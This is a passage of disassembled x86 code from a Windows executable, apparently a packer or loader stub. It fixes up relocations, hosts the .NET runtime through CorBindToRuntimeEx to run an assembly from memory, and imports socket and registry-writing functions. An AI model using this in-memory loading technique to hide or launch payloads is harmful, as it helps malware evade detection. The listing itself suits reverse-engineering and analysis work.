ecx, ds:dword_619028 add ecx, [eax+28h] mov [ebp+var_34], ecx loc_61A069: ; CODE XREF: start+76Ej mov eax, [ebp+var_34] cmp dword ptr [eax], 0 jz loc_61A1AC mov eax, [ebp+var_34] add eax, 8 mov [ebp+var_4C], eax and [ebp+var_28], 0 jmp short loc_61A08B ; --------------------------------------------------------------------------- loc_61A084: ; CODE XREF: start+75Dj mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax loc_61A08B: ; CODE XREF: start+649j mov eax, [ebp+var_34] mov eax, [eax+4] sub eax, 8 cdq sub eax, edx sar eax, 1 cmp [ebp+var_28], eax jge loc_61A19B mov eax, [ebp+var_34] mov eax, [eax] add eax, ds:dword_619028 mov ecx, [ebp+var_4C] movzx ecx, word ptr [ecx] and ecx, 0FFFh add eax, ecx mov [ebp+var_1C], eax mov eax, [ebp+var_4C] movzx eax, word ptr [eax] sar eax, 0Ch mov [ebp+var_60], eax cmp [ebp+var_60], 0 jz short loc_61A0DB cmp [ebp+var_60], 3 jz short loc_61A0E0 jmp loc_61A161 ; --------------------------------------------------------------------------- loc_61A0DB: ; CODE XREF: start+695j jmp loc_61A18E ; --------------------------------------------------------------------------- loc_61A0E0: ; CODE XREF: start+69Bj mov eax, [ebp+var_1C] mov eax, [eax] mov [ebp+var_48], eax mov eax, ds:dword_619024 mov ecx, [ebp+var_48] sub ecx, [eax+1Ch] add ecx, ds:dword_619028 mov [ebp+var_48], ecx mov eax, [ebp+var_48] cmp eax, ds:dword_619028 jb short loc_61A118 mov eax, [ebp+var_10] mov ecx, ds:dword_619028 add ecx, [eax+50h] cmp [ebp+var_48], ecx jbe short loc_61A146 loc_61A118: ; CODE XREF: start+6CCj mov eax, [ebp+var_1C] push dword ptr [eax] push offset aErrorBadReloca ; "Error bad relocation pointer: *pdw = 0x"... push [ebp+var_24] call ds:wsprintfA ; wsprintfA add esp, 0Ch push 0 push [ebp+var_58] push [ebp+var_24] push 0 call ds:MessageBoxA ; MessageBoxA push 0 call ds:ExitProcess ; ExitProcess loc_61A146: ; CODE XREF: start+6DDj lea eax, [ebp+var_2C] push eax push 40h push 4 push [ebp+var_1C] call ds:VirtualProtect ; VirtualProtect mov eax, [ebp+var_1C] mov ecx, [ebp+var_48] mov [eax], ecx jmp short loc_61A18E ; --------------------------------------------------------------------------- loc_61A161: ; CODE XREF: start+69Dj mov eax, [ebp+var_1C] push dword ptr [eax] mov eax, [ebp+var_4C] movzx eax, word ptr [eax] push eax push offset aUnexpectedRelo ; "Unexpected relocation type: *pw = 0x%04"... push [ebp+var_24] call ds:wsprintfA ; wsprintfA add esp, 10h push 0 push [ebp+var_58] push [ebp+var_24] push 0 call ds:MessageBoxA ; MessageBoxA loc_61A18E: ; CODE XREF: start:loc_61A0DBj ; start+726j mov eax, [ebp+var_4C] inc eax inc eax mov [ebp+var_4C], eax jmp loc_61A084 ; --------------------------------------------------------------------------- loc_61A19B: ; CODE XREF: start+663j mov eax, [ebp+var_34] mov ecx, [ebp+var_34] add ecx, [eax+4] mov [ebp+var_34], ecx jmp loc_61A069 ; --------------------------------------------------------------------------- loc_61A1AC: ; CODE XREF: start+60Aj start+619j ... mov eax, ds:dword_619024 cmp dword ptr [eax+30h], 0 jz short loc_61A1BC call sub_61A28D loc_61A1BC: ; CODE XREF: start+77Cj mov eax, ds:dword_619024 mov ecx, ds:dword_619028 add ecx, [eax+14h] mov [ebp+var_38], ecx loc_61A1CD: ; CODE XREF: start+58j ; start:loc_61A230j push 8000h push 0 push [ebp+var_24] call ds:VirtualFree ; VirtualFree push 8000h push 0 push [ebp+var_4] call ds:VirtualFree ; VirtualFree push 8000h push 0 push [ebp+var_14] call ds:VirtualFree ; VirtualFree mov eax, ds:dword_619024 cmp dword ptr [eax+68h], 0 jz short loc_61A210 push 0 call ds:ExitProcess ; ExitProcess loc_61A210: ; CODE XREF: start+7CDj mov eax, [ebp+var_38] pop edi pop esi pop ebx add esp, 60h pop ebp push eax mov eax, ds:dword_619024 cmp dword ptr [eax+14h], 0 jnz short loc_61A22B pop eax xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_61A22B: ; CODE XREF: start+7EBj pop eax jmp eax ; --------------------------------------------------------------------------- jmp short loc_61A232 ; --------------------------------------------------------------------------- loc_61A230: ; CODE XREF: start+1BCj jmp short loc_61A1CD start endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_61A232: ; CODE XREF: start+7F5j pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_61A237 proc near ; CODE XREF: sub_61A28D+25p ; DATA XREF: .ex_cod:00619004o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp ds:dword_61900C, 0 push esi jz short loc_61A266 mov eax, ds:dword_619024 mov esi, [eax+40h] test esi, esi jz short loc_61A288 loc_61A250: ; CODE XREF: sub_61A237+2Dj mov eax, [esi] test eax, eax jz short loc_61A288 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call eax add esi, 4 jmp short loc_61A250 ; --------------------------------------------------------------------------- loc_61A266: ; CODE XREF: sub_61A237+Bj mov eax, [ebp+arg_0] mov ds:dword_619010, 1 mov ds:dword_619014, eax mov eax, [ebp+arg_4] mov ds:dword_619018, eax mov eax, [ebp+arg_8] mov ds:dword_61901C, eax loc_61A288: ; CODE XREF: sub_61A237+17j ; sub_61A237+1Dj pop esi pop ebp retn 0Ch sub_61A237 endp ; =============== S U B R O U T I N E ======================================= sub_61A28D proc near ; CODE XREF: start+77Ep cmp ds:dword_619010, 0 mov ds:dword_61900C, 1 jz short locret_61A2B7 push ds:dword_61901C push ds:dword_619018 push ds:dword_619014 call sub_61A237 locret_61A2B7: ; CODE XREF: sub_61A28D+11j retn sub_61A28D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_61A2B8 proc near ; CODE XREF: start+1B5p var_48 = byte ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 48h push ebx push esi push edi mov edi, ds:LoadLibraryA xor ebx, ebx push offset aOle32_dll ; "ole32.dll" mov [ebp+var_14], ebx mov [ebp+var_10], ebx mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], ebx call edi mov esi, ds:GetProcAddress push offset aCoinitialize ; "CoInitialize" push eax mov [ebp+var_38], eax call esi push offset aCouninitialize ; "CoUninitialize" mov [ebp+var_18], eax push [ebp+var_38] call esi push offset aMscoree_dll ; "mscoree.dll" mov [ebp+var_38], eax call edi push offset aCorbindtorunti ; "CorBindToRuntimeEx" push eax call esi push offset aOleaut32_dll ; "oleaut32.dll" mov [ebp+var_1C], eax call edi mov edi, eax push 19Bh push edi call esi push 17h push edi mov [ebp+var_20], eax call esi push 18h push edi mov [ebp+var_24], eax call esi push 8 push edi mov [ebp+var_2C], eax call esi push 10h push edi mov [ebp+var_30], eax call esi cmp [ebp+var_18], ebx mov [ebp+var_34], eax jz loc_61A4E6 cmp [ebp+var_38], ebx jz loc_61A4E6 cmp [ebp+var_1C], ebx jz loc_61A4E6 cmp [ebp+var_20], ebx jz loc_61A4E6 cmp [ebp+var_24], ebx jz loc_61A4E6 cmp [ebp+var_2C], ebx jz loc_61A4E6 cmp [ebp+var_30], ebx jz loc_61A4E6 cmp eax, ebx jz loc_61A4E6 push ebx call [ebp+var_18] test eax, eax jl loc_61A4E6 lea eax, [ebp+var_4] push eax push offset loc_619338 push (offset loc_619345+3) push 2 push offset aWks ; "wks" push ebx call [ebp+var_1C] test eax, eax jl loc_61A4E6 mov eax, [ebp+var_4] push eax mov ecx, [eax] call dword ptr [ecx+28h] test eax, eax jl loc_61A4E6 mov eax, [ebp+var_4] lea edx, [ebp+var_8] push edx push eax mov ecx, [eax] call dword ptr [ecx+34h] test eax, eax mov eax, [ebp+var_8] jl loc_61A4E9 mov ecx, [eax] lea edx, [ebp+var_14] push edx push offset dword_619150 push eax call dword ptr [ecx] test eax, eax jl loc_61A4E6 push [ebp+arg_4] push ebx push 11h call [ebp+var_20] cmp eax, ebx mov [ebp+var_18], eax jz loc_61A4E6 lea ecx, [ebp+var_28] mov [ebp+var_28], ebx push ecx push eax call [ebp+var_24] test eax, eax jge short loc_61A43F mov eax, [ebp+var_8] cmp eax, ebx jz short loc_61A429 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_61A429: ; CODE XREF: sub_61A2B8+169j mov eax, [ebp+var_4] cmp eax, ebx jz loc_61A4CC mov ecx, [eax] push eax call dword ptr [ecx+8] jmp loc_61A4CC ; --------------------------------------------------------------------------- loc_61A43F: ; CODE XREF: sub_61A2B8+162j mov ecx, [ebp+arg_4] mov esi, [ebp+arg_0] mov edi, [ebp+var_28] mov eax, ecx shr ecx, 2 rep movsd push [ebp+var_18] mov ecx, eax and ecx, 3 rep movsb call [ebp+var_2C] mov eax, [ebp+var_14] lea edx, [ebp+var_10] push edx push [ebp+var_18] mov ecx, [eax] push eax call dword ptr [ecx+0B4h] test eax, eax jl short loc_61A4B7 mov eax, [ebp+var_10] lea edx, [ebp+var_C] push edx push eax mov ecx, [eax] call dword ptr [ecx+40h] test eax, eax jl short loc_61A4B7 lea eax, [ebp+var_48] push eax call [ebp+var_30] push ebx push ebx sub esp, 10h lea esi, [ebp+var_48] mov edi, esp mov eax, [ebp+var_C] movsd mov ecx, [eax] push eax movsd movsd movsd call dword ptr [ecx+94h] mov eax, [ebp+var_4] push eax mov ecx, [eax] call dword ptr [ecx+2Ch] push [ebp+var_18] call [ebp+var_34] call [ebp+var_38] loc_61A4B7: ; CODE XREF: sub_61A2B8+1B9j ; sub_61A2B8+1CAj mov eax, [ebp+var_8] cmp eax, ebx jz short loc_61A4C4 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_61A4C4: ; CODE XREF: sub_61A2B8+204j lea ecx, [ebp+var_4] call sub_61A52C loc_61A4CC: ; CODE XREF: sub_61A2B8+176j ; sub_61A2B8+182j lea ecx, [ebp+var_C] call sub_61A52C lea ecx, [ebp+var_10] call sub_61A52C lea ecx, [ebp+var_14] call sub_61A52C jmp short loc_61A527 ; --------------------------------------------------------------------------- loc_61A4E6: ; CODE XREF: sub_61A2B8+91j ; sub_61A2B8+9Aj ... mov eax, [ebp+var_8] loc_61A4E9: ; CODE XREF: sub_61A2B8+125j cmp eax, ebx jz short loc_61A4F3 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_61A4F3: ; CODE XREF: sub_61A2B8+233j mov eax, [ebp+var_4] cmp eax, ebx jz short loc_61A500 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_61A500: ; CODE XREF: sub_61A2B8+240j mov eax, [ebp+var_C] cmp eax, ebx jz short loc_61A50D mov ecx, [eax] push eax call dword ptr [ecx+8] loc_61A50D: ; CODE XREF: sub_61A2B8+24Dj mov eax, [ebp+var_10] cmp eax, ebx jz short loc_61A51A mov ecx, [eax] push eax call dword ptr [ecx+8] loc_61A51A: ; CODE XREF: sub_61A2B8+25Aj mov eax, [ebp+var_14] cmp eax, ebx jz short loc_61A527 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_61A527: ; CODE XREF: sub_61A2B8+22Cj ; sub_61A2B8+267j pop edi pop esi pop ebx leave retn sub_61A2B8 endp ; =============== S U B R O U T I N E ======================================= sub_61A52C proc near ; CODE XREF: sub_61A2B8+20Fp ; sub_61A2B8+217p ... mov eax, [ecx] test eax, eax jz short locret_61A538 mov ecx, [eax] push eax call dword ptr [ecx+8] locret_61A538: ; CODE XREF: sub_61A52C+4j retn sub_61A52C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_61A539 proc near ; CODE XREF: sub_619960+CAp var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = byte ptr -0Ah var_9 = byte ptr -9 var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi push 1 mov esi, [ebp+arg_C] pop ecx mov [ebp+var_2C], ecx mov [ebp+var_28], ecx mov [ebp+var_24], ecx xor eax, eax and [ebp+var_C], al mov [ebp+var_1C], ecx mov [ebp+var_B], cl mov ecx, [ebp+arg_4] add ecx, 0FFFFFFFBh mov [ebp+var_20], eax mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_A], 2 mov [ebp+var_9], 2 mov [ebp+var_8], 3 mov [ebp+var_7], 3 mov [ebp+var_6], 3 mov [ebp+var_5], 3 mov [ebp+var_4], ecx loc_61A589: ; CODE XREF: sub_61A539+16Fj mov edi, [ebp+arg_0] mov cl, [eax+edi] cmp cl, 0E8h jz short loc_61A59F cmp cl, 0E9h jz short loc_61A59F inc eax jmp loc_61A6A5 ; --------------------------------------------------------------------------- loc_61A59F: ; CODE XREF: sub_61A539+59j ; sub_61A539+5Ej mov edx, [ebp+arg_10] mov ebx, [ebp+arg_8] mov ecx, eax sub ecx, [edx] add ecx, ebx add ebx, eax cmp ecx, 5 mov [edx], ebx jbe short loc_61A5B9 and dword ptr [esi], 0 jmp short loc_61A5C9 ; --------------------------------------------------------------------------- loc_61A5B9: ; CODE XREF: sub_61A539+79j test ecx, ecx jbe short loc_61A5C9 loc_61A5BD: ; CODE XREF: sub_61A539+8Ej mov edx, [esi] and edx, 77h shl edx, 1 dec ecx mov [esi], edx jnz short loc_61A5BD loc_61A5C9: ; CODE XREF: sub_61A539+7Ej ; sub_61A539+82j mov dl, [eax+edi+4] test dl, dl jz short loc_61A5DA cmp dl, 0FFh jnz loc_61A691 loc_61A5DA: ; CODE XREF: sub_61A539+96j mov ecx, [esi] mov [ebp+arg_4], ecx shr [ebp+arg_4], 1 mov ebx, [ebp+arg_4] and ebx, 7 cmp [ebp+ebx*4+var_2C], 0 jz loc_61A691 and ecx, 0FFFFFFFEh cmp ecx, 20h jnb loc_61A691 xor ecx, ecx mov ch, dl mov cl, [eax+edi+3] movzx edx, byte ptr [eax+edi+2] shl ecx, 8 or ecx, edx movzx edx, byte ptr [eax+edi+1] shl ecx, 8 or edx, ecx loc_61A61B: ; CODE XREF: sub_61A539+125j sub edx, eax sub edx, [ebp+arg_8] sub edx, 5 cmp dword ptr [esi], 0 mov ebx, edx jz short loc_61A663 mov ecx, [ebp+arg_4] push 18h movzx edi, [ebp+ecx+var_C] mov ecx, edi shl ecx, 3 mov edx, ecx pop ecx sub ecx, edx mov edx, ebx shr edx, cl test dl, dl jz short loc_61A64B cmp dl, 0FFh jnz short loc_61A660 loc_61A64B: ; CODE XREF: sub_61A539+10Bj push 4 pop ecx sub ecx, edi push 1 shl ecx, 3 pop edx mov edi, [ebp+arg_0] shl edx, cl dec edx xor edx, ebx jmp short loc_61A61B ; --------------------------------------------------------------------------- loc_61A660: ; CODE XREF: sub_61A539+110j mov edi, [ebp+arg_0] loc_61A663: ; CODE XREF: sub_61A539+EFj mov ecx, ebx add eax, 5 shr ecx, 18h and cl, 1 dec cl not cl mov [eax+edi-1], cl mov ecx, ebx shr ecx, 10h mov [eax+edi-2], cl mov ecx, ebx shr ecx, 8 mov [eax+edi-3], cl mov [eax+edi-4], bl and dword ptr [esi], 0 jmp short loc_61A6A5 ; --------------------------------------------------------------------------- loc_61A691: ; CODE XREF: sub_61A539+9Bj ; sub_61A539+B4j ... or dword ptr [esi], 1 mov ecx, [esi] inc eax test dl, dl jz short loc_61A6A0 cmp dl, 0FFh jnz short loc_61A6A5 loc_61A6A0: ; CODE XREF: sub_61A539+160j or ecx, 10h mov [esi], ecx loc_61A6A5: ; CODE XREF: sub_61A539+61j ; sub_61A539+156j ... cmp eax, [ebp+var_4] jbe loc_61A589 pop edi pop esi pop ebx leave retn sub_61A539 endp ; --------------------------------------------------------------------------- align 8 dword_61A6B8 dd 0 ; DATA XREF: start+188w start+19Cr ... dword_61A6BC dd 0 ; DATA XREF: start+15Fw start+165r ... dword_61A6C0 dd 219200h ; DATA XREF: start+175w start+21Dw ... dd 2 dup(0) dd 219304h, 219234h, 219228h, 2 dup(0) dd 21932Ch, 21925Ch, 3 dup(0) dd 21A724h, 21A73Dh, 3 dup(0) dd 21A730h, 21A745h, 5 dup(0) dd 434F5357h, 2E32334Bh, 6C6C64h, 41564441h, 32334950h dd 6C6C642Eh db 0 ; ; Imports from WSOCK32.dll ; ; int __stdcall WSAStartup(WORD wVersionRequested,LPWSADATA lpWSAData) WSAStartup dd ? dd 0 ; ; Imports from ADVAPI32.dll ; ; LSTATUS __stdcall RegSetValueExA(HKEY hKey,LPCSTR lpValueName,DWORD Reserved,DWORD dwType,const BYTE *lpData,DWORD cbData) RegSetValueExA dd ? dd 0 db 0F9h, 1, 52h aEgsetvalueexa db 'egSetValueExA',0 db '¼',0 dd 30000000h, 426D0021h, 2000000h, 40000000h, 2EE00021h dd 9A390000h, 21h, 10F0040h, 85700000h, 0 dd 10000h, 0Dh dup(0) dd 10000h, 0 dd 0A0000000h, 30000h, 10000h, 2000000h, 70000000h, 10000000h dd 68C60000h, 200000h, 16000h, 2000000h, 10000000h, 80000000h dd 0AA20000h, 400000h, 14000h, 2000000h, 10000000h, 90000000h dd 0ABB80000h, 400020h db 0, 0C0h dw ? db 2 dup(?) _ex_cod ends end start